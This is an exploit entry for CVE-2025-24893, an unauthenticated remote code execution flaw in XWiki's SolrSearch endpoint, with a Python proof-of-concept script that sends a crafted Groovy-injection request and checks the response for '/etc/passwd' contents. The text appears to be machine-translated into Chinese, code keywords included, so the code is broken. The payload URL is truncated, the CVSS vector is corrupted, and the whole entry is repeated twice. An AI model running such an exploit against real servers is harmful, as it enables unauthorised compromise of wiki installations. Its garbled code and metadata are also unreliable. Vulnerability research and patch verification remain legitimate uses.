#利用标题: XWIKI平台- 远程代码执行
#利用作者: Al Baradi Joy
#利用日期: 2025年4月6日
#CVE ID: CVE-2025-24893
#供应商homepage: https://www.xwiki.org/
#软件link: https://github.com/xwiki/xwiki-platform
#版本:受影响的版本,包括XWIKI 15.10.10
#测试版本: xwiki 15.10.10
#漏洞类型:远程代码执行(RCE)
#CVSS得分: 9.8(关键)
#CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S3:U/C:U/C33:H/I3:H
#Description:
#xwiki平台遭受任何客人用户的关键漏洞
能
#通过Solrsearch端点远程执行任意代码。这可以
带领
#到完整的服务器妥协,包括在
这
#基础系统。脆弱性影响机密性,
正直,
#和XWIKI安装的可用性。问题已在
xwiki
#版本15.10.11、16.4.1和16.5.0rc1。
#概念证明:是
#类别: XWIKI,远程代码执行,CVE-2025,RCE
#参考:
#-GHSA Advisory: https://github.com/advisories/ghsa-rr6p-3pfg-562j
#-NVD CVE详细信息: https://nvd.nist.gov/VULN/DETAIL/CVE-2025-24893
#-Github利用链接:
导入请求
# 横幅
def display_banner():
打印('='*80)
print('Exploit Title: CVE-2025-24893-XWIKI平台远程代码
执行')
打印('剥削作者: al baradi joy')
打印('github exploit:
打印('='*80)
#功能检测目标协议(HTTP或HTTPS)
Def detect_protocol(域):
https_url=f'https://{domain}'
http_url=f'http://{domain}'
TRY:
响应=requests.get(https_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTPS: {https_url}')
返回https_url
requests.exceptions.requestexception:除外
打印('[!] https不可用,落回http。')
TRY:
响应=requests.get(http_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTP: {http_url}')
返回http_url
requests.exceptions.requestexception:除外
print('[]目标在HTTP和HTTPS上都是无法达到的。')
出口(1)
#利用功能
DEF漏洞利用(target_url):
target_url=detect_protocol(target_url.replace('http://',
'').replace('https://','').Strip())
exploit_url=
f'{target_url}/bin/get/main/solrsearch?媒体=rstext=%7D%7D%7D%7D%7b%7B%7B%20ASYNC%20ASYNC%3DFALSE%7D%7D%7D%7D%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7D 7D
TRY:
打印(f'[+]将请求发送到: {exploit_url}')
响应=requests.get(exploit_url,超时=10)
#检查漏洞利用是否成功
if antys.status_code==200和``root:'in wenspy.text:''
打印('[]利用成功!输出接收:')
打印(响应。文本)
其他:
打印(f'[]利用失败。状态代码:
{Response.status_code}')
除了requests.exceptions.connectionError:
打印('[[]连接失败。目标可能会下降。')
除了requests.exceptions.timeout:
打印('[]请求超时。目标是缓慢或反应迟钝的。')
除了requests.exceptions.requestexception为e:
打印(f'[]意外错误: {e}')
#主要执行
如果name=='__ -Main __':
display_banner()
target=输入('[?]输入目标URL(无http/https):
')。条()
利用(目标)
#利用作者: Al Baradi Joy
#利用日期: 2025年4月6日
#CVE ID: CVE-2025-24893
#供应商homepage: https://www.xwiki.org/
#软件link: https://github.com/xwiki/xwiki-platform
#版本:受影响的版本,包括XWIKI 15.10.10
#测试版本: xwiki 15.10.10
#漏洞类型:远程代码执行(RCE)
#CVSS得分: 9.8(关键)
#CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S3:U/C:U/C33:H/I3:H
#Description:
#xwiki平台遭受任何客人用户的关键漏洞
能
#通过Solrsearch端点远程执行任意代码。这可以
带领
#到完整的服务器妥协,包括在
这
#基础系统。脆弱性影响机密性,
正直,
#和XWIKI安装的可用性。问题已在
xwiki
#版本15.10.11、16.4.1和16.5.0rc1。
#概念证明:是
#类别: XWIKI,远程代码执行,CVE-2025,RCE
#参考:
#-GHSA Advisory: https://github.com/advisories/ghsa-rr6p-3pfg-562j
#-NVD CVE详细信息: https://nvd.nist.gov/VULN/DETAIL/CVE-2025-24893
#-Github利用链接:
正在加载...
github.com
# 横幅
def display_banner():
打印('='*80)
print('Exploit Title: CVE-2025-24893-XWIKI平台远程代码
执行')
打印('剥削作者: al baradi joy')
打印('github exploit:
正在加载...
github.com
#功能检测目标协议(HTTP或HTTPS)
Def detect_protocol(域):
https_url=f'https://{domain}'
http_url=f'http://{domain}'
TRY:
响应=requests.get(https_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTPS: {https_url}')
返回https_url
requests.exceptions.requestexception:除外
打印('[!] https不可用,落回http。')
TRY:
响应=requests.get(http_url,timeout=5,ally_redirects=true)
如果响应。STATUS_CODE400:
打印(f'[]目标支持HTTP: {http_url}')
返回http_url
requests.exceptions.requestexception:除外
print('[]目标在HTTP和HTTPS上都是无法达到的。')
出口(1)
#利用功能
DEF漏洞利用(target_url):
target_url=detect_protocol(target_url.replace('http://',
'').replace('https://','').Strip())
exploit_url=
f'{target_url}/bin/get/main/solrsearch?媒体=rstext=%7D%7D%7D%7D%7b%7B%7B%20ASYNC%20ASYNC%3DFALSE%7D%7D%7D%7D%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7D 7D
TRY:
打印(f'[+]将请求发送到: {exploit_url}')
响应=requests.get(exploit_url,超时=10)
#检查漏洞利用是否成功
if antys.status_code==200和``root:'in wenspy.text:''
打印('[]利用成功!输出接收:')
打印(响应。文本)
其他:
打印(f'[]利用失败。状态代码:
{Response.status_code}')
除了requests.exceptions.connectionError:
打印('[[]连接失败。目标可能会下降。')
除了requests.exceptions.timeout:
打印('[]请求超时。目标是缓慢或反应迟钝的。')
除了requests.exceptions.requestexception为e:
打印(f'[]意外错误: {e}')
#主要执行
如果name=='__ -Main __':
display_banner()
target=输入('[?]输入目标URL(无http/https):
')。条()
利用(目标)